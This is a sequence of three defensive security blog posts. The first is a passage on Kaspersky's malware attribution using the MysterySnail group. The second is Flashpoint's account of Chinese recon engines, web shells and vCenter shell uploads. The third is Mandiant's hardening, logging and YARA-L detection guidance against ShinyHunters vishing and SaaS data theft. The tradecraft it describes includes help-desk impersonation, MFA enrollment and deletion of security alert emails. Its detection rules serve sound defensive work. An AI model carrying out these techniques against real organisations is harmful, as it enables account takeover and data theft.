    A practical example of why attribution matters

    Let’s say we upload a piece of malware we’ve discovered to a threat intelligence portal, and learn that it’s usually being used by, say, the MysterySnail group. What does that actually tell us? Let’s look at the available intel:

    MysterySnail group information

    First off, these attackers target government institutions in both Russia and Mongolia. They’re a Chinese-speaking group that typically focuses on espionage. According to their profile, they establish a foothold in infrastructure and lay low until they find something worth stealing. We also know that they typically exploit the vulnerability CVE-2021-40449. What kind of vulnerability is that?

    CVE-2021-40449 vulnerability details

    As we can see, it’s a privilege escalation vulnerability — meaning it’s used after hackers have already infiltrated the infrastructure. This vulnerability has a high severity rating and is heavily exploited in the wild. So what software is actually vulnerable?

    Vulnerable software

    Got it: Microsoft Windows. Time to double-check if the patch that fixes this hole has actually been installed. Alright, besides the vulnerability, what else do we know about the hackers? It turns out they have a peculiar way of checking network configurations — they connect to the public site 2ip.ru:

    Technique details

    So it makes sense to add a correlation rule to SIEM to flag that kind of behavior.

    Now’s the time to read up on this group in more detail and gather additional indicators of compromise (IoCs) for SIEM monitoring, as well as ready-to-use YARA rules (structured text descriptions used to identify malware). This will help us track down all the tentacles of this kraken that might have already crept into corporate infrastructure, and ensure we can intercept them quickly if they try to break in again.

    Additional MysterySnail reports

    Kaspersky Threat Intelligence Portal provides a ton of additional reports on MysterySnail attacks, each complete with a list of IoCs and YARA rules. These YARA rules can be used to scan all endpoints, and those IoCs can be added into SIEM for constant monitoring. While we’re at it, let’s check the reports to see how these attackers handle data exfiltration, and what kind of data they’re usually hunting for. Now we can actually take steps to head off the attack.

    And just like that, MysterySnail, the infrastructure is now tuned to find you and respond immediately. No more spying for you!

    Malware attribution methods

    Before diving into specific methods, we need to make one thing clear: for attribution to actually work, the threat intelligence provided needs a massive knowledge base of the tactics, techniques, and procedures (TTPs) used by threat actors. The scope and quality of these databases can vary wildly among vendors. In our case, before even building our tool, we spent years tracking known groups across various campaigns and logging their TTPs, and we continue to actively update that database today.

    With a TTP database in place, the following attribution methods can be implemented:

    1. Dynamic attribution: identifying TTPs through the dynamic analysis of specific files, then cross-referencing that set of TTPs against those of known hacking groups
    2. Technical attribution: finding code overlaps between specific files and code fragments known to be used by specific hacking groups in their malware

    Dynamic attribution

    Identifying TTPs during dynamic analysis is relatively straightforward to implement; in fact, this functionality has been a staple of every modern sandbox for a long time. Naturally, all of our sandboxes also identify TTPs during the dynamic analysis of a malware sample:

    TTPs of a malware sample

    The core of this method lies in categorizing malware activity using the MITRE ATT&CK framework. A sandbox report typically contains a list of detected TTPs. While this is highly useful data, it’s not enough for full-blown attribution to a specific group. Trying to identify the perpetrators of an attack using just this method is a lot like the ancient Indian parable of the blind men and the elephant: blindfolded folks touch different parts of an elephant and try to deduce what’s in front of them from just that. The one touching the trunk thinks it’s a python; the one touching the side is sure it’s a wall, and so on.

    Blind men and an elephant

    Technical attribution

    The second attribution method is handled via static code analysis (though keep in mind that this type of attribution is always problematic). The core idea here is to cluster even slightly overlapping malware files based on specific unique characteristics. Before analysis can begin, the malware sample must be disassembled. The problem is that alongside the informative and useful bits, the recovered code contains a lot of noise. If the attribution algorithm takes this non-informative junk into account, any malware sample will end up looking similar to a great number of legitimate files, making quality attribution impossible. On the flip side, trying to only attribute malware based on the useful fragments but using a mathematically primitive method will only cause the false positive rate to go through the roof. Furthermore, any attribution result must be cross-checked for similarities with legitimate files — and the quality of that check usually depends heavily on the vendor’s technical capabilities.

    Kaspersky’s approach to attribution

    Our products leverage a unique database of malware associated with specific hacking groups, built over more than 25 years. On top of that, we use a patented attribution algorithm based on static analysis of disassembled code. This allows us to determine — with high precision, and even a specific probability percentage — how similar an analyzed file is to known samples from a particular group. This way, we can form a well-grounded verdict attributing the malware to a specific threat actor. The results are then cross-referenced against a database of billions of legitimate files to filter out false positives; if a match is found with any of them, the attribution verdict is adjusted accordingly. This approach is the backbone of the Kaspersky Threat Attribution Engine, which powers the threat attribution service on the Kaspersky Threat Intelligence Portal.

    •  

    How China’s “Walled Garden” is Redefining the Cyber Threat Landscape

    Blogs

    Blog

    How China’s “Walled Garden” is Redefining the Cyber Threat Landscape

    In our latest webinar, Flashpoint unpacks the architecture of the Chinese threat actor cyber ecosystem—a parallel offensive stack fueled by government mandates and commercialized hacker-for-hire industry.

    SHARE THIS:
    Default Author Image
    January 30, 2026

    For years, the global cybersecurity community has operated under the assumption that technical information was a matter of public record. Security research has always been openly discussed and shared through a culture of global transparency. Today, that reality has fundamentally shifted. Flashpoint is witnessing a growing opacity—a “Walled Garden”—around Chinese data. As a result, the competence of Chinese threat actors and APTs has reached an industrialized scale.

    In Flashpoint’s recent on-demand webinar, “Mapping the Adversary: Inside the Chinese Pentesting Ecosystem,” our analysts explain how China’s state policies surrounding zero-day vulnerability research have effectively shut out the cyber communities that once provided a window into Chinese tradecraft. However, they haven’t disappeared. Rather, they have been absorbed by the state to develop a mature, self-sustaining offensive stack capable of targeting global infrastructure.

    Understanding the Walled Garden: The Shift from Disclosure to Nationalization

    The “Walled Garden” is a direct result of a Chinese regulatory turning point in 2021: the Regulations on the Management of Security Vulnerabilities (RMSV). While the gradual walling off of China’s data is the cumulative result of years of implementing regulatory and policy strategies, the 2021 RMSV marks a critical turning point that effectively nationalized China’s vulnerability research capabilities. Under the RMSV, any individual or organization in China that discovers a new flaw must report it to the Ministry of Industry and Information Technology (MIIT) within 48 hours. Crucially, researchers are prohibited from sharing technical details with third parties—especially foreign entities—or selling them before a patch is issued.

    It is important to note that this mandate is not limited to Chinese-based software or hardware; it applies to any vulnerability discovered, as long as the discoverer is a Chinese-based organization or national. This effectively treats software vulnerabilities as a national strategic resource for China. By centralizing this data, the Chinese government ensures it has an early window into zero-day exploits before the global defensive community. 

    For defenders, this means that by the time a vulnerability is public, there is a high probability it has already been analyzed and potentially weaponized within China’s state-aligned apparatus.

    The Indigenous Kill Chain: Reconnaissance Beyond Shodan

    Flashpoint analysts have observed that within this Walled Garden, traditional Western reconnaissance tools are losing their effectiveness. Chinese threat actors are utilizing an indigenous suite of cyberspace search engines that create a dangerous information asymmetry, allowing them to peer at defender infrastructure while shielding their own domestic base from Western scrutiny.

    While Shodan remains the go-to resource for security teams, Flashpoint has seen Chinese threat actors favor three IoT search engines that offer them a massive home-field advantage:

    • FOFA: Specializes in deep fingerprinting for middleware and Chinese-specific signatures, often indexing dorks for new vulnerabilities weeks before they appear in the West.
    • Zoomai: Built for high-speed automation, offering APIs that integrate with AI systems to move from discovery to verified target in minutes.
    • 360 Quake: Provides granular, real-time mapping through a CLI with an AI engine for complex asset portraits.

    In the full session, we demonstrate exactly how Chinese operators use these tools to fuse reconnaissance and exploitation into a single, automated step—a capability most Western EDRs aren’t yet tuned to detect.

    Building a State-Aligned Offensive Stack

    Leveraging their knowledge of vulnerabilities and zero-day exploits, the illicit Chinese ecosystem is building tools designed to dismantle the specific technologies that power global corporate data centers and business hubs.

    In the webinar, our analysts explain purpose-built cyber weapons designed to hunt VMware vCenter servers that support one-click shell uploads via vulnerabilities like Log4Shell. Beyond the initial exploit, Flashpoint highlights the rising use of Behinder (Ice Scorpion)—a sophisticated web shell management tool. Behinder has become a staple for Chinese operators because it encrypts command-and-control (C2) traffic, allowing attackers to evade conventional inspection and deep packet analytics.

    Strengthen Your Defenses Against the Chinese Offensive Stack with Flashpoint

    By understanding this “Walled Garden” architecture, defenders can move beyond generic signatures and begin to hunt for the specific TTPs—such as high-entropy C2 traffic and proprietary Chinese scanning patterns—that define the modern Chinese threat actor.

    How can Flashpoint help? Flashpoint’s cyber threat intelligence platform cuts through the generic feed overload and delivers unrivaled primary-source data, AI-powered analysis, and expert human context.

    Watch the on-demand webinar to learn more, or request a demo today.

    Request a demo today.

    The post How China’s “Walled Garden” is Redefining the Cyber Threat Landscape appeared first on Flashpoint.

    •  

    Guidance from the Frontlines: Proactive Defense Against ShinyHunters-Branded Data Theft Targeting SaaS

    Introduction

    Mandiant is tracking a significant expansion and escalation in the operations of threat clusters associated with ShinyHunters-branded extortion. As detailed in our companion report, 'Vishing for Access: Tracking the Expansion of ShinyHunters-Branded SaaS Data Theft', these campaigns leverage evolved voice phishing (vishing) and victim-branded credential harvesting to successfully compromise single sign-on (SSO) credentials and enroll unauthorized devices into victim multi-factor authentication (MFA) solutions.

    This activity is not the result of a security vulnerability in vendors' products or infrastructure. Instead, these intrusions rely on the effectiveness of social engineering to bypass identity controls and pivot into cloud-based software-as-a-service (SaaS) environments.

    This post provides actionable hardening, logging, and detection recommendations to help organizations protect against these threats. Organizations responding to an active incident should focus on rapid containment steps, such as severing access to infrastructure environments, SaaS platforms, and the specific identity stores typically used for lateral movement and persistence. Long-term defense requires a transition toward phishing-resistant MFA, such as FIDO2 security keys or passkeys, which are more resistant to social engineering than push-based or SMS authentication.

    Containment

    Organizations responding to an active or suspected intrusion by these threat clusters should prioritize rapid containment to sever the attacker’s access to prevent further data exfiltration. Because these campaigns rely on valid credentials rather than malware, containment must prioritize the revocation of session tokens and the restriction of identity and access management operations.

    Immediate Containment Actions

    • Revoke active sessions: Identify and disable known compromised accounts and revoke all active session tokens and OAuth authorizations across IdP and SaaS platforms.

    • Restrict password resets: Temporarily disable or heavily restrict public-facing self-service password reset portals to prevent further credential manipulation.  Do not allow the use of self-service password reset for administrative accounts.

    • Pause MFA registration: Temporarily disable the ability for users to register, enroll, or join new devices to the identity provider (IdP).

    • Limit remote access: Restrict or temporarily disable remote access ingress points, such as VPNs, or Virtual Desktops Infrastructure (VDI), especially from untrusted or non-compliant devices.

    • Enforce device compliance: Restrict access to IdPs and SaaS applications so that authentication can only originate from organization-managed, compliant devices and known trusted egress locations.

    • Implement 'shields up' procedures: Inform the service desk of heightened risk and shift to manual, high-assurance verification protocols for all account-related requests. In addition, remind technology operations staff not to accept any work direction via SMS messages from colleagues.

    During periods of heightened threat activity, Mandiant recommends that organizations temporarily route all password and MFA resets through a rigorous manual identity verification protocol, such as the live video verification described in the Hardening section of this post. When appropriate, organizations should also communicate with end-users, HR partners, and other business units to stay on high-alert during the initial containment phase. Always report suspicious activity to internal IT and Security for further investigation.

    1. Hardening 

    Defending against threat clusters associated with ShinyHunters-branded extortion begins with tightening manual, high-risk processes that attackers frequently exploit, particularly password resets, device enrollments, and MFA changes.

    Help Desk Verification

    Because these campaigns often target human-driven workflows through social engineering, vishing, and phishing, organizations should implement stronger, layered identity verification processes for support interactions, especially for requests involving account changes such as password resets or MFA modifications. Threat actors have also been known to impersonate third-party vendors to voice phish (vish) help desks and persuade staff to approve or install malicious SaaS application registrations.

    As a temporary measure during heightened risk, organizations should require verification that includes the caller’s identity, a valid ID, and a visual confirmation that the caller and ID match. 

    To implement this, organizations should require help desk personnel to:

    • Require a live video call where the user holds a physical government ID next to their face. The agent must visually verify the match.

    • Confirm the name on the ID matches the employee’s corporate record.

    • Require out-of-band approval from the user's known manager before processing the reset.

    • Reject requests based solely on employee ID, SSN, or manager name. ShinyHunters possess this data from previous breaches and may use it to verify their identity.

    • If the user calls the helpdesk for a password reset, never perform the reset without calling the user back at a known good phone number to prevent spoofing.

    • If a live video call is not possible, require an alternative high-assurance path. It may be required for the user to come in person to verify their identity.

    • Optionally, after a completed interaction, the help desk agent can send an email to the user’s manager indicating that the change is complete with a picture from the video call of the user who requested the change on camera.

    Special Handling for Third-Party Vendor Requests

    Mandiant has observed incidents where attackers impersonate support personnel from third-party vendors to gain access. In these situations, the standard verification principals may not be applicable.

    Under no circumstances should the Help Desk move forward with allowing access. The agent must halt the request and follow this procedure:

    • End the inbound call without providing any access or information

    • Independently contact the company's designated account manager for that vendor using trusted, on-file contact information

    • Require explicit verification from the account manager before proceeding with any request

    End User Education

    Organizations should educate end users on best practices especially when being reached out directly without prior notice.

    • Conduct internal Vishing and Phishing exercises to validate end user adoption of security best practices.

    • Educate that passwords should not be shared, regardless of who is asking for it.

    • Encourage users to exercise extreme caution when being requested to reset their own passwords and MFA; especially during off-business hours.

    • If they are unsure of the person or number they are being contacted by, have them cease all communications and contact a known support channel for guidance.

    Identity & Access Management

    Organizations should implement a layered series of controls to protect all types of identities. Access to cloud identity providers (IdPs), cloud consoles, SaaS applications, document and code repositories should be restricted since these platforms often become the control plane for privilege escalation, data access, and long-term persistence.

    This can be achieved by:

    • Limiting access to trusted egress points and physical locations
    • Review and understand what “local accounts” exist within SaaS platforms:
      • Ensure any default username/passwords have been updated according to the organization’s password policy.
      • Limit the use of ‘local accounts’ that are not managed as part of the organization’s primary centralized IdP.
    • Reducing the scope of non-human accounts (access keys, tokens, and non-human accounts)
      • Where applicable, organizations should implement network restrictions across non-human accounts. 
      • Activity correlating to long-lived tokens (OAuth / API) associated with authorized / trusted applications should be monitored to detect abnormal activity.
    • Limit access to organization resources from managed and compliant devices only. Across managed devices:
      • Implement device posture checks via the Identity Provider.
      • Block access from devices with prolonged inactivity.
      • Block end users ability to enroll personal devices. 
    • Where access from unmanaged devices is required, organizations should: 
      • Limit non-managed devices to web only views.
      • Disable ability to download/store corporate/business data locally on unmanaged personal devices.
      • Limit session durations and prompt for re-authentication with MFA.
    • Rapid enhancement to MFA methods, such as:
      • Removal of SMS, phone call, push notification, and/or email as authentication controls.
      • Requiring strong, phishing resistant MFA methods such as:
        • Authenticator apps that require phishing resistant MFA (FIDO2 Passkey Support may be added to existing methods such as Microsoft Authenticator.)
        • FIDO2 security keys for authenticating identities that are assigned privileged roles.
      • Enforce multi-context criteria to enrich the authentication transaction.
        • Examples include not only validating the identity, but also specific device and location attributes as part of the authentication transaction.
          • For organizations that leverage Google Workspace, these concepts can be enforced by using context-aware access policies.
          • For organizations that leverage Microsoft Entra ID, these concepts can be enforced by using a Conditional Access Policy.
          • For organizations that leverage Okta, these concepts can be enforced by using Okta policies and rules.

    Attackers are consistently targeting non-human identities due to the limited number of detections around them, lack of baseline of normal vs abnormal activity, and common assignment of privileged roles attached to these identities. Organizations should: 

    • Identify and track all programmatic identities and their usage across the environment, including where they are created, which systems they access, and who owns them.

    • Centralize storage in a secrets manager (cloud-native or third-party) and prevent credentials from being embedded in source code, config files, or CI/CD pipelines.

    • Restrict authentication IPs for programmatic credentials so they can only be used from trusted third-party or internal IP ranges wherever technically feasible.

    • Transition to workload identity federation: Where feasible, replace long-lived static credentials (such as AWS access keys or service account keys) with workload identity federation mechanisms (often based on OIDC). This allows applications to authenticate using short-lived, ephemeral tokens issued by the cloud provider, dramatically reducing the risk of credential theft from code repositories and file systems.

    • Enforce strict scoping and resource binding by tying credentials to specific API endpoints, services, or resources. For example, an API key should not simply have “read” access to storage, but be limited to a particular bucket or even a specific prefix, minimizing blast radius if it is compromised.

    • Baseline expected behavior for each credential type (typical access paths, destinations, frequency, and volume) and integrate this into monitoring and alerting so anomalies can be quickly detected and investigated.

    Additional platform-specific hardening measures include: 

    • Okta

      • Enable Okta ThreatInsight to automatically block IP addresses identified as malicious.

      • Restrict Super Admin access to specific network zones (corporate VPN).

    • Microsoft Entra ID

      • Implement common Conditional Access Policies to block unauthorized authentication attempts and restrict high-risk sign-ins.

      • Configure risk-based policies to trigger password changes or MFA when risk is detected.

      • Restrict who is allowed to register applications in Entra ID and require administrator approval for all application registrations.

    • Google Workspace

      • Use Context-Aware Access levels to restrict Google Drive and Admin Console access based on device attributes and IP address.

      • Enforce 2-Step Verification (2SV) for all Google Workspace users.

      • Use Advanced Protection to protect high-risk users from targeted phishing, malware, and account hijacking.

    Infrastructure and Application Platforms 

    Infrastructure and application platforms such as Cloud consoles and SaaS applications are frequent targets for credential harvesting and data exfiltration. Protecting these systems typically requires implementing the previously outlined identity controls, along with platform-specific security guardrails, including:

    • Restrict management-plane access so it’s only reachable from the organization’s network and approved VPN ranges.

    • Scan for and remediate exposed secrets, including sensitive credentials stored across these platforms.

    • Enforce device access controls so access is limited to managed, compliant devices.

    • Monitor configuration changes to identify and investigate newly created resources, exposed services, or other unauthorized modifications.

    • Implement logging and detections to identify:

      • Newly created or modified network security group (NSG) rules, firewall rules, or publicly exposed resources that enable remote access.

      • Creation of programmatic keys and credentials (e.g., access keys).

    • Disable API/CLI access for non-essential users by restricting programmatic access to those who explicitly require it for management-plane operations.

    Platform Specifics

    • GCP

      • Configure security perimeters with VPC Service Controls (VPC-SC) to prevent data from being copied to unauthorized Google Cloud resources even if they have valid credentials.

        Set additional guardrails with organizational policies and deny policies applied at the organization level. This stops developers from introducing misconfigurations that could be exploited by attackers. For example, enforcing organizational policies like “iam.disableServiceAccountKeyCreation” will prevent generating new unmanaged service account keys that can be easily exfiltrated.

      • Apply IAM Conditions to sensitive role bindings. Restrict roles so they only activate if the resource name starts with a specific prefix or if the request comes during specific working hours. This limits the blast radius of a compromised credential.

    • AWS

      • Apply Service Control Policies (SCPs) at the root level of the AWS Organization that limit the attack surface of AWS services. For example, deny access in unused regions, block creation of IAM access keys, and prevent deletion of backups, snapshots, and critical resources.

      • Define data perimeters through Resource Control Policies (RCPs) that restrict access to sensitive resources (like S3 buckets) to only trusted principals within your organization, preventing external entities from accessing data even with valid keys.

      • Implement alerts on common reconnaissance commands such as GetCallerIdentity API calls originating from non-corporate IP addresses. This is often the first reconnaissance command an attacker runs to verify their stolen keys.

    • Azure
      • Enforce Conditional Access Policies (CAPs) that block access to administrative applications unless the device is "Microsoft Entra hybrid joined" and "Compliant." This prevents attackers from accessing resources using their own tools or devices.
      • Eliminate standing admin access and require Just-In-Time (JIT) through Privileged Identity Management (PIM) for elevation for roles such as Global Administrator, mandating an approval workflow and justification for each activation.
      • Enforce the use of Managed Identities for Azure resources accessing other services. This removes the need for developers to handle or rotate credentials for service principals, eliminating the static key attack vector.
    • Source Code Management
      • Enforce Single Sign-On (SSO) with SCIM for automated lifecycle management and mandate FIDO2/WebAuthn to neutralize phishing. Additionally, replace broad access tokens with short-lived, Fine-Grained Personal Access Tokens (PATs) to enforce least privilege.
      • Prevent credential leakage by enabling native "Push Protection" features or implementing blocking CI/CD workflows (such as TruffleHog) that automatically reject commits containing high-entropy strings before they are merged.
      • Mitigate the risk of malicious code injection by requiring cryptographic commit signing (GPG/S/MIME) and mandating a minimum of two approvals for all Pull Requests targeting protected branches.
      • Conduct scheduled historical scans to identify and purge latent secrets that evaded preventative controls, ensuring any compromised credentials are immediately rotated and forensically investigated.
    • Salesforce

    2. Logging

    Modern SaaS intrusions rarely rely on payloads or technical exploits. Instead, Mandiant consistently observes attackers leveraging valid access (frequently gained via vishing or MFA bypass) to abuse native SaaS capabilities such as bulk exports, connected apps, and administrative configuration changes.

    Without clear visibility into these environments, detection becomes nearly impossible. If an organization cannot track which identity authenticated, what permissions were authorized, and what data was exported, they often remain unaware of a campaign until an extortion note appears.

    This section focuses on ensuring your organization has the necessary visibility into identity actions, authorizations, and SaaS export behaviors required to detect and disrupt these incidents before they escalate.

    Identity Provider 

    If an adversary gains access through vishing and MFA manipulation, the first reliable signals will appear in the SSO control plane, not inside a workstation. In this example, the goal is to ensure Okta and Entra ID ogs identify who authenticated, what MFA changes occurred, and where access originated from.

    What to Enable and Ingest into the SIEM

    Okta
    • Authentication events (successful and failed sign-ins)

    • MFA lifecycle events (enrollment/activation and changes to authentication factors or devices)

    • Administrative identity events that capture security-relevant actions (e.g., changes that affect authentication posture)

    Entra ID
    • Authentication events

    • Audit logs for MFA changes / authentication method

    • Audit logs for security posture changes that affect authentication

      • Conditional Access policy changes

      • Changes to Named Locations / trusted locations

    What “Good” Looks Like Operationally

    You should be able to quickly identify:

    • Authentication factor, device enrollment activity, and the user responsible

    • Source IP, geolocation, (and ASN if available) associated with that enrollment

    • Whether access originated from the organization’s expected egress and identify access paths

    Platform

    Google Workspace Logging 

    Defenders should ensure they have visibility into OAuth authorizations, mailbox deletion activity (including deletion of security notification emails), and Google Takeout exports

    What You Need in Place Before Logging
    • Correct edition + investigation surfaces available: Confirm your Workspace edition supports the Audit and investigation tool and the Security Investigation tool (if you plan to use it).

    • Correct admin privileges: Ensure the account has Audit & Investigation privilege (to access OAuth/Gmail/Takeout log events) and Security Center privilege.

    • If you need Gmail message content: Validate edition + privileges allow viewing message content during investigations.

    What to Enable and Ingest into the SIEM

    OAuth / App authorization logs

    Enable and ingest token/app authorization logs to observe:

    • Which application was authorized (app name + identifier)

    • Which user granted access

    • What scopes were granted

    • Source IP and geolocation for the authorization

    This is the telemetry required to detect suspicious app authorizations and add-on enablement that can support mailbox manipulation.

    Gmail audit logs

    Enable and ingest Gmail audit events that capture:

    • Message deletion actions (including permanent delete where available)

    • Message direction indicators (especially useful for outbound cleanup behavior)

    • Message metadata (e.g., subject) to support detection of targeted deletions of security notification emails

    Google Takeout audit logs

    Enable and ingest Takeout logs to capture:

    • Export initiation and completion events

    • User and source IP/geo for the export activity

    Salesforce Logging 

    Activity observed by Mandiant includes the use of Salesforce Data Loader and large-scale access patterns that won’t be visible if only basic login history logs are collected. Additional Salesforce telemetry that captures logins, configuration changes, connected app/API activity, and export behavior is needed to investigate SaaS-native exfiltration. Detailed implementation guidance for these visibility gaps can be found in Mandiant’s Targeted Logging and Detection Controls for Salesforce.

    What You Need in Place Before Logging
    • Entitlement check (must-have)
      • Most security-relevant Salesforce logs are gated behind Event Monitoring, delivered through Salesforce Shield or the Event Monitoring add-on. Confirm you are licensed for the event types you plan to use for detection.
    • Choose the collection method that matches your operations
      • Use real-time event monitoring (RTEM) if you need near real-time detection.
      • Use event log files (ELF) if you need predictable batch exports for long-term storage and retrospective investigations.
      • Use event log objects (ELO) if you require queryable history via Salesforce Object Query Language (often requires Shield/add-on).
    • Enable the events you intend to detect on
      • Use Event Manager to explicitly turn on the event categories you plan to ingest, and ensure the right teams have access to view and operationalize the data (profiles/permission sets).
    • Threat Detection and Enhanced Transaction Security
      • If your environment uses Threat Detection or ETS, verify the event types that feed those controls and ensure your log ingestion platform doesn’t omit the events you expect to alert on.
    What to Enable and Ingest into the SIEM

    Authentication and access

    • LoginHistory (who logged in, when, from where, success/failure, client type)

    • LoginEventStream (richer login telemetry where available)

    Administrative/configuration visibility

    • SetupAuditTrail (changes to admin and security configurations)

    API and export visibility

    • ApiEventStream (API usage by users and connected apps)

    • ReportEventStream (report export/download activity)

    • BulkApiResultEvent (bulk job result downloads—critical for bulk extraction visibility)

    Additional high-value sources (if available in your tenant)

    • LoginAsEventStream (impersonation / “login as” activity)

    • PermissionSetEvent (permission grants/changes)

    SaaS Pivot Logging 

    Threat actors often pivot from compromised SSO providers into additional SaaS platforms, including DocuSign and Atlassian. Ingesting audit logs from these platforms into a SIEM environment enables the detection of suspicious access and large-scale data exfiltration following an identity compromise.

    What You Need in Place Before Logging
    • You need tenant-level admin permissions to access and configure audit/event logging.

    • Confirm your plan/subscriptions include the audit/event visibility you are trying to collect (Atlassian org audit log capabilities can depend on plan/Guard tier; DocuSign org-level activity monitoring is provided via DocuSign Monitor).

    • API access (If you are pulling logs programmatically): Ensure the tenant is able to use the vendor’s audit/event APIs (DocuSign Monitor API; Atlassian org audit log API/webhooks depending on capability).

    • Retention reality check: Validate the platform’s native audit-log retention window meets your investigation needs.

    What to Enable and Ingest into the SIEM

    DocuSign (audit/monitoring logs)

    • Authentication events (successful/failed sign-ins, SSO vs password login if available)

    • Administrative changes (user/role changes, org-level setting changes)

    • Envelope access and bulk activity (envelope viewed/downloaded, document downloaded, bulk send, bulk download/export where available)

    • API activity (API calls, integration keys/apps used, client/app identifiers)

    • Source context (source IP/geo, user agent/client type)

    Atlassian (Jira/Confluence audit logs)

    • Authentication events (SSO sign-ins, failed logins)

    • Privilege and admin changes (role/group membership changes, org admin actions)

    • Confluence/Jira data access at scale:

      • Confluence: space/page view/download/export events (especially exports)

      • Jira: project access, issue export, bulk actions (where available)

    • API token and app activity (API token created/revoked, OAuth app connected, marketplace app install/uninstall)

    • Source context (source IP/geolocation, user agent/client type)

    Microsoft 365 Audit Logging 

    Mandiant has observed threat actors leveraging PowerShell to download sensitive data from SharePoint and OneDrive as part of this campaign. To detect the activity, it is necessary to ingest M365 audit telemetry that records file download operations along with client context (especially the user agent).

    What You Need in Place Before Logging
    • Microsoft Purview Audit is available and enabled: Your tenant must have Microsoft Purview Audit turned on and usable (Audit “Standard” vs “Premium” affects capabilities/retention).

    • Correct permissions to view/search audit: Assign the compliance/audit roles required to access audit search and records.

    • SharePoint/OneDrive operations are present in the Unified Audit Log: Validate that SharePoint/OneDrive file operations are being recorded (this is where operations like file download/access show up).

    • Client context is captured: Confirm audit records include UserAgent (when provided by the client) so you can identify PowerShell-based access patterns in SharePoint/OneDrive activity.

    What to Enable and Ingest into the SIEM
    • FileDownloaded and FileAccessed (SharePoint/OneDrive)

    • User agent/client identifier (to surface WindowsPowerShell-style user agents)

    • User identity, source IP, geolocation

    • Target resource details

    3. Detections

    The following detections target behavioral patterns Mandiant has identified in ShinyHunters related intrusions. In these scenarios, attackers typically gain initial access by compromising SSO platforms or manipulating MFA controls, then leverage native SaaS capabilities to exfiltrate data and evade detection.The following use cases are categorized by area of focus, including Identity Providers and Productivity Platforms. 

    Note: This activity is not the result of a security vulnerability in vendors' products or infrastructure. Instead, these intrusions rely on the effectiveness of ShinyHunters related intrusions.

    Implementation Guidelines

    These rules are presented as YARA-L pseudo-code to prioritize clear detection logic and cross-platform portability. Because field names, event types, and attribute paths vary across environments, consider the following variables:

    • Ingestion Source: Differences in how logs are ingested into Google SecOps.

    • Parser Mapping: Specific UDM (Unified Data Model) mappings unique to your configuration.

    • Telemetry Availability: Variations in logging levels based on your specific SaaS licensing.

    • Reference Lists: Curated allowlists/blocklists the organization will need to create to help reduce noise and keep alerts actionable.

    Note: Mandiant recommends testing these detections prior to deployment by validating the exact event mappings in your environment and updating the pseudo-fields to match your specific telemetry.

    Okta

    MFA Device Enrollment or Changes (Post-Vishing Signal)

    Detects MFA device enrollment and MFA life cycle changes that often occur immediately after a social-engineered account takeover. When this alert is triggered, immediately review the affected user’s downstream access across SaaS applications (Salesforce, Google Workspace, Atlassian, DocuSign, etc.) for signs of large-scale access or data exports.

    Why this is high-fidelity: In this intrusion pattern, MFA manipulation is a primary “account takeover” step. Because MFA lifecycle events are rare compared to routine logins, any modification occurring shortly after access is gained serves as a high-fidelity indicator of potential compromise.

    Key signals

    • Okta system Log MFA lifecycle events (enroll/activate/deactivate/reset)

    • principal.user, principal.ip, client.user_agent, geolocation/ASN (if enriched)

    • Optional: proximity to password reset, recovery, or sign-in anomalies (same user, short window)

    Pseudo-code (YARA-L)

    events:
    $mfa.metadata.vendor_name = "Okta"
    $mfa.metadata.product_event_type in ( "okta.user.mfa.factor.enroll", "okta.user.mfa.factor.activate",  "okta.user.mfa.factor.deactivate", "okta.user.mfa.factor.reset_all" )
    $u= $mfa.principal.user.userid
    $t_mfa = $mfa.metadata.event_timestamp
    
    $ip = coalesce($mfa.principal.ip, $mfa.principal.asset.ip)
    $ua = coalesce($mfa.network.http.user_agent, $mfa.extracted.fields["userAgent"], "") 
    
    $reset.metadata.vendor_name = "Okta"
    $reset.metadata.product_event_type in (
    "okta.user.password.reset",  "okta.user.account.recovery.start" )
    $t_reset = $reset.metadata.event_timestamp
    
    $auth.metadata.vendor_name = "Okta"
    $auth.metadata.product_event_type in ("okta.user.authentication.sso", "okta.user.session.start")
    $t_auth = $auth.metadata.event_timestamp
    
    match:
    $u over 30m
    
    condition:
    // Always alert on MFA lifecycle change
    $mfa and
    // Optional sequence tightening (enrichment only, not mandatory):
    // If reset/auth exists in the window, enforce it happened before the MFA change.
    (
    (not $reset and not $auth) or
    (($reset and $t_reset < $t_mfa) or ($auth and $t_auth < $t_mfa))
    )
    Suspicious admin.security Actions from Anonymized IPs

    Alert on Okta admin/security posture changes when the admin action occurs from suspicious network context (proxy/VPN-like indicators) or immediately after an unusual auth sequence.

    Why this is high-fidelity: Admin/security control changes are low volume and can directly enable persistence or reduce visibility.

    Key signals

    • Okta admin/system events (e.g., policy changes, MFA policy, session policy, admin app access)

    • “Anonymized” network signal: VPN/proxy ASN, “datacenter” reputation, TOR list, etc.

    • Actor uses unusual client/IP for admin activity

    Reference lists

    • VPN_TOR_ASNS (proxy/VPN ASN list)

    Pseudo-code (YARA-L)

    events:
    $a.metadata.vendor_name = "Okta"
    $a.metadata.product_event_type in ("okta.system.policy.update","okta.system.security.change","okta.user.session.clear","okta.user.password.reset","okta.user.mfa.reset_all")  
    userid=$a.principal.user.userid
    // correlate with a recent successful login for the same actor if available
    $l.metadata.vendor_name = "Okta"
    $l.metadata.product_event_type = "okta.user.authentication.sso"
    userid=$l.principal.user.userid
    
    match:
    userid over 2h
    
    condition:
    $a and $l

    Google Workspace

    OAuth Authorization for ToogleBox Recall

    Detects OAuth/app authorization events for ToogleBox recall (or the known app identifier), indicating mailbox manipulation activity.

    Why this is high-fidelity: This is a tool-specific signal tied to the observed “delete security notification emails” behavior.

    Key signals

    • Workspace OAuth / token authorization log event

    • App name, app ID, scopes granted, granting user, source IP/geo

    • Optional: privileged user context (e.g., admin, exec assistant)

    Pseudo-code (YARA-L)

    events:
    $e.metadata.vendor_name = "Google Workspace"
    $e.metadata.product_event_type in ("gws.oauth.grant", "gws.token.authorize") // placeholders
    // match app name OR app id if you have it
    (lower($e.target.application) contains "tooglebox" or
    lower($e.target.application) contains "recall")
    condition:
    $e
    Gmail Deletion of Okta Security Notification Email

    Detects deletion actions targeting Okta security notification emails (e.g., “Security method enrolled”).

    Why this is high-fidelity: Targeted deletion of security notifications is intentional evasion, not normal email behavior.

    Key signals

    • Gmail audit log delete/permanent delete (or mailbox cleanup) event

    • Subject matches a small set of security-notification strings

    • Time correlation: deletion shortly after receipt (optional)

    Pseudo-code (YARA-L)

    events:
    $d.metadata.vendor_name = "Google Workspace"
    $d.metadata.product_event_type in ("gws.gmail.message.delete",
                                           "gws.gmail.message.trash",
                                           "gws.gmail.message.permanent_delete") // PLACEHOLDER
